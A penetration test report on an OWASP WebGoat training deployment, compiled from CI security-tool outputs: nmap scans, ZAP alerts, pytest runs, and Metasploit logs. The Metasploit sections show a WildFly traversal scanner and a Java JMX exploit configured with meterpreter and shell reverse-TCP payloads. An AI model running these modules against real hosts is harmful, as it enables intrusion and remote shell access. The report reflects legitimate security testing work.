



# Pentest Report

Penetration test of **OWASP WebGoat**

Consultant: ASTICI

14/10/2023

---

Confidential

# Executive Summary

## Overview

ASTICI Inc. performed a Web Application Penetration Test on OWASP WebGoat applications. The scope of the testing was the following.

- CI/CD deployed OWASP Webgoat instance, deployed through Terraform scripts on Azure
- Covering sample OWASP vulnerabilities
- Covering Nmap scan
- Attempting exploit OWASP Webgoat webserver using readily available Metasploit exploits
- Static code analysis using SonarCloud
- Software Composition Analysis using Snyk

ASTICI Inc. found that with a few minor exceptions the quality and coverage of security controls in the OWASP WebGoat applications were very solid.

## Resume

ASTICI Inc. is a start-up researching on Github actions repository technology to enable automated security testing for cloud native web applications.

## Finding Classification

Each finding is classified as a High, Medium, or Low risk based on ASTICI Inc. considerations of potential threats, the likelihood of attack, and the possible impact of a successful attack against Instructure's OWASP WebGoat applications. Each of these factors is assessed individually and in combination to determine the overall risk designation. These assessments are based on ASTICI Inc. professional judgment and experience providing consulting services to enterprises across the country. This report outlines the findings ASTICI Inc. collected from the testing, as well as ASTICI Inc. recommendations that will assist Instructure in reducing its risks and helping remove the vulnerabilities found.

## Vulnerabilities and Recommendations

# Pytest-Playwright Test Output Issue

GitHub Issue number # 542

GitHub Issue URL : [Here!](#)

## **Playwright pytest**

Starting pytest....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0,  
playwright-0.4.3, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test\_AsyncWebGoatUseCases.py ... [ 60%]

src/test\_WebGoatUseCases.py .. [100%]

```
===== PASSES  
=====
```

```
===== 5 passed in 26.67s  
=====
```

Stop pytest....

# Metasploit-ParrotOS Test output

GitHub Issue number # 541

GitHub Issue URL : [Here!](#)

**parrotOS**  
**metasploit**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [543 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 2s (8837 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.  
Need to get 32.5 MB of archives.  
After this operation, 44.0 kB disk space will be freed.  
Do you want to continue? [Y/n] Abort.  
Reading package lists...  
Building dependency tree...  
Reading state information...  
Calculating upgrade...  
The following packages will be upgraded:  
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.  
Need to get 32.5 MB of archives.  
After this operation, 44.0 kB disk space will be freed.  
Do you want to continue? [Y/n] Abort.  
Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease  
Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease  
Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease  
Reading package lists...  
Building dependency tree...  
Reading state information...  
43 packages can be upgraded. Run 'apt list --upgradable' to see them.  
Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 20.193.232.71

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[\*] Processing ./src/exploitwildflydir\_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir\_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly\_traversal):

Name Current Setting Required Description

-----

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL\_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[\*] resource (./src/exploitwildflydir\_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir\_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir\_traversal.rc)> exit

-----

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

```

[*] Processing ./src/exploit/javajmxreversehttps.rc for ERB directives.
resource (./src/exploit/javajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
resource (./src/exploit/javajmxreversehttps.rc)> show options
Module options (exploit/multi/misc/javajmxserver):
Name Current Setting Required Description
----
JMXRMI jmxrmi yes The name where the JMX RMI interface is bound
JMX_PASSWORD no The password to interact with an authenticated JMX endpoint
JMX_ROLE no The role to interact with an authenticated JMX endpoint
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
----
LHOST 172.17.0.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-----
0 Generic (Java Payload)
View the full module info with the info, or info -d command.
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
RHOSTS =>
resource (./src/exploit/javajmxreversehttps.rc)> use payload/generic/shellreversetcp
resource (./src/exploit/javajmxreversehttps.rc)> exploit
[*] Payload Handler Started as Job

```

```
resource (./src/exploit/javajmxreversehttps.rc)> exit
```

=====



# ZAP Full Scan Report

GitHub Issue number # 540

GitHub Issue URL : [Here!](#)

- Site: <http://20.193.232.71:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://20.193.232.71:8080/WebGoat/login>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://20.193.232.71:8080/WebGoat/login>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://20.193.232.71:8080/WebGoat/login>
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - <http://20.193.232.71:8080/WebGoat/start.mvc>
  - **Cookie Slack Detector** [90027] total: 2:
    - <http://20.193.232.71:8080/WebGoat/login>
    - <http://20.193.232.71:8080/WebGoat/start.mvc>
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - <http://20.193.232.71:8080/WebGoat/start.mvc>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://20.193.232.71:8080/WebGoat/login>
  - **Base64 Disclosure** [10094] total: 1:
    - <http://20.193.232.71:8080/WebGoat/start.mvc>
  - **Non-Storable Content** [10049] total: 1:
    - <http://20.193.232.71:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/WebGoat/login>
    - <http://20.193.232.71:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/WebGoat/login>
    - <http://20.193.232.71:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/WebGoat/login>
    - <http://20.193.232.71:8080/WebGoat/start.mvc>
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/WebGoat/login>
    - <http://20.193.232.71:8080/WebGoat/start.mvc>
  - **Session Management Response Identified** [10112] total: 2:
    - <http://20.193.232.71:8080/WebGoat/start.mvc>
    - <http://20.193.232.71:8080/WebGoat/start.mvc>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://20.193.232.71:8080/>
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/sitemap.xml>
    - <http://20.193.232.71:8080/WebGoat/login>
  - **User Agent Fuzzer** [10104] total: 24:
    - <http://20.193.232.71:8080/WebGoat>
    - <http://20.193.232.71:8080/WebGoat>
    - <http://20.193.232.71:8080/WebGoat>
    - <http://20.193.232.71:8080/WebGoat>
    - <http://20.193.232.71:8080/WebGoat>
    - ..

View the [following link](#) to download the report. RunnerID:6518718688

# Nmap-ParrotOS Scan output

GitHub Issue number # 539

GitHub Issue URL : [Here!](#)

**parrotOS**  
**nmap**

Nmap vulnerability scanning  
for 20.193.232.71

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [543 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 2s (8607 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 32.5 MB of archives.

After this operation, 44.0 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 32.5 MB of archives.

After this operation, 44.0 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-14 16:29 UTC

Nmap scan report for 20.193.232.71

Host is up (0.22s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 08:e2:cd:89:3f:6d:d7:07:e4:0e:76:a5:29:47:43:73 (ECDSA)

|\_ 256 28:56:7d:43:12:fd:aa:26:f7:64:2f:88:33:e4:5a:e3 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

|\_ http-title: Site doesn't have a title.

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sat, 14 Oct 2023 16:33:51 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|\_ Date: Sat, 14 Oct 2023 16:33:50 GMT

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter\_CLI, WMSRequest, ibm-db2-das:  
| HTTP/1.1 400 Bad Request  
| Content-Length: 0  
| Connection: close  
| GetRequest:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Sat, 14 Oct 2023 16:33:50 GMT  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-10-14T16:33:50.515+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
| "path" : "/"  
| HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Sat, 14 Oct 2023 16:34:08 GMT  
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH  
| Connection: close

| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-10-14T16:34:08.454+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
|\_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=10/14%Time=652AC2EE%P=x86\_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Sat, 14 Oct 2023 16:33:

SF:50 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Sat, 14\n

SF:x20Oct 2023 16:33:50 GMT

")%r(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Sat, 14\

SF:20Oct 2023 16:33:51 GMT

")%r(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close

SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content

SF:-Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:0400 Bad Request Content-Length: 0 Connection: close\n

```

SF:r
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con
SF:tent-Length: 0 Connection: close
")%r(TerminalServerCoo
SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C
SF:onnection: close
")%r(TLSSessionReq,42,"HTTP/1.1 400 B
SF:ad Request Content-Length: 0 Connection: close
")
SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x
SF:200 Connection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400
SF: Bad Request Content-Length: 0 Connection: close \n
SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len
SF:gth: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1\n
SF:.1 400 Bad Request Content-Length: 0 Connection: c
SF:lose
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
")%r(WMSRequest,42,"
SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio
SF:n: close
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque
SF:st Content-Length: 0 Connection: close
");
=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====
SF-Port9090-TCP:V=7.92%I=7%D=10/14%Time=652AC2EE%P=x86_64-pc-linux-
gnu%r(G
SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac
SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n
SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr

```



SF:ame-Options: DENY Date: Sat, 14 Oct 2023 16:33:50\n  
SF:x20GMT Connection: close Vary: Origin Vary: Access-Co  
SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co  
SF:ntent-Type-Options: nosniff Content-Type: application/json  
SF: { \"timestamp\" : \"2023-10-14T16:33:50.515+00:00\n  
SF: \"status\" : 404, \"error\" : \"Not  
SF:0Found\", \"path\" : \"\" }\" )%r(WMSRequest,42,\"HTTP/1\n  
SF:.1 400 Bad Request Content-Length: 0 Connection: c  
SF:lose  
\" )%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request  
SF:Content-Length: 0 Connection: close  
\" )%r(SqueezeCenter\_  
SF:CLI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 C  
SF:onnection: close  
\" )%r(GenericLines,42,\"HTTP/1.1 400 Ba  
SF:d Request Content-Length: 0 Connection: close  
\" )%  
SF:r(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0 \n  
SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid  
SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache  
SF:X-Frame-Options: DENY Date: Sat, 14 Oct 2023 16:34  
SF::08 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR  
SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n  
SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ  
SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a  
SF:pplication/json  
{ \"timestamp\" : \"2023-10-14T16  
SF::34:08.454+00:00\", \"status\" : 404, \"error  
SF:\\\" : \"Not Found\", \"path\" : \"\" }\" )%r(RTS  
SF:PRequest,42,\"HTTP/1.1 400 Bad Request Content-Length: 0  
SF: Connection: close  
\" );

Device type: general purpose|firewall|storage-misc

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), WatchGuard Firewall 11.X (86%), Synology DiskStation Manager 5.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.10 cpe:/o:linux:linuxkernel:4.4 cpe:/o:watchguard:fireware:11.8 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation\_manager:5.1

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 4.4 (86%), WatchGuard Firewall 11.8 (86%), Linux 3.10 (85%), Linux 4.0 (85%), Synology DiskStation Manager 5.1 (85%), Linux 2.6.35 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 6923.16 ms 20.193.232.71

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 412.25 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-14 16:36 UTC

Nmap scan report for 20.193.232.71

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-14 16:36 UTC

Nmap scan report for 20.193.232.71

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds

# ZAP Full Scan Report

GitHub Issue number # 538

GitHub Issue URL : [Here!](#)

- Site: <http://20.193.232.71:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://20.193.232.71:8080/WebGoat/login>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://20.193.232.71:8080/WebGoat/login>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://20.193.232.71:8080/WebGoat/login>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://20.193.232.71:8080/WebGoat/login>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - <http://20.193.232.71:8080/>
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/WebGoat/login>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - <http://20.193.232.71:8080/>
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/WebGoat/login>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - <http://20.193.232.71:8080/>
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/WebGoat/login>
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - <http://20.193.232.71:8080/>
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/WebGoat/login>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://20.193.232.71:8080/>
    - <http://20.193.232.71:8080/robots.txt>
    - <http://20.193.232.71:8080/sitemap.xml>
    - <http://20.193.232.71:8080/WebGoat/login>
  - **User Agent Fuzzer** [10104] total: 12:
    - <http://20.193.232.71:8080/WebGoat>
    - <http://20.193.232.71:8080/WebGoat>
    - <http://20.193.232.71:8080/WebGoat>
    - <http://20.193.232.71:8080/WebGoat>
    - <http://20.193.232.71:8080/WebGoat>
    - ..

View the [following link](#) to download the report. RunnerID:6518718688

# Sonar Cloud Code Scan Report

GitHub Issue number # 537

GitHub Issue URL : [Here!](#)

**SonarQube Cloud code scan**

## SonarCloud Scan for OWASP WebGoat

Go to [https://sonarcloud.io/project/overview?id=pradyumna-muppirala\\_WebGoatSAST](https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST) for full report of SonarCloud with Github SSO.

# Snyk Report

GitHub Issue number # 536

GitHub Issue URL : [Here!](#)

**Snyk\_scan**

## Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

# Pytest-Playwright Test Output Issue

GitHub Issue number # 535

GitHub Issue URL : [Here!](#)

## **Playwright pytest**

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0,  
playwright-0.4.3, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test\_AsyncWebGoatUseCases.py ... [ 60%]

src/test\_WebGoatUseCases.py .. [100%]

```
===== PASSES  
=====
```

```
===== 5 passed in 26.44s  
=====
```

Stop pytests....

# Metasploit-ParrotOS Test output

GitHub Issue number # 534

GitHub Issue URL : [Here!](#)

**parrotOS**  
**metasploit**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [543 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 3s (6770 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.  
Need to get 32.5 MB of archives.  
After this operation, 44.0 kB disk space will be freed.  
Do you want to continue? [Y/n] Abort.  
Reading package lists...  
Building dependency tree...  
Reading state information...  
Calculating upgrade...  
The following packages will be upgraded:  
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.  
Need to get 32.5 MB of archives.  
After this operation, 44.0 kB disk space will be freed.  
Do you want to continue? [Y/n] Abort.  
Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease  
Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease  
Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease  
Reading package lists...  
Building dependency tree...  
Reading state information...  
43 packages can be upgraded. Run 'apt list --upgradable' to see them.  
Cleaning up any existing old code copies of security tests...



This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 20.207.203.193

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

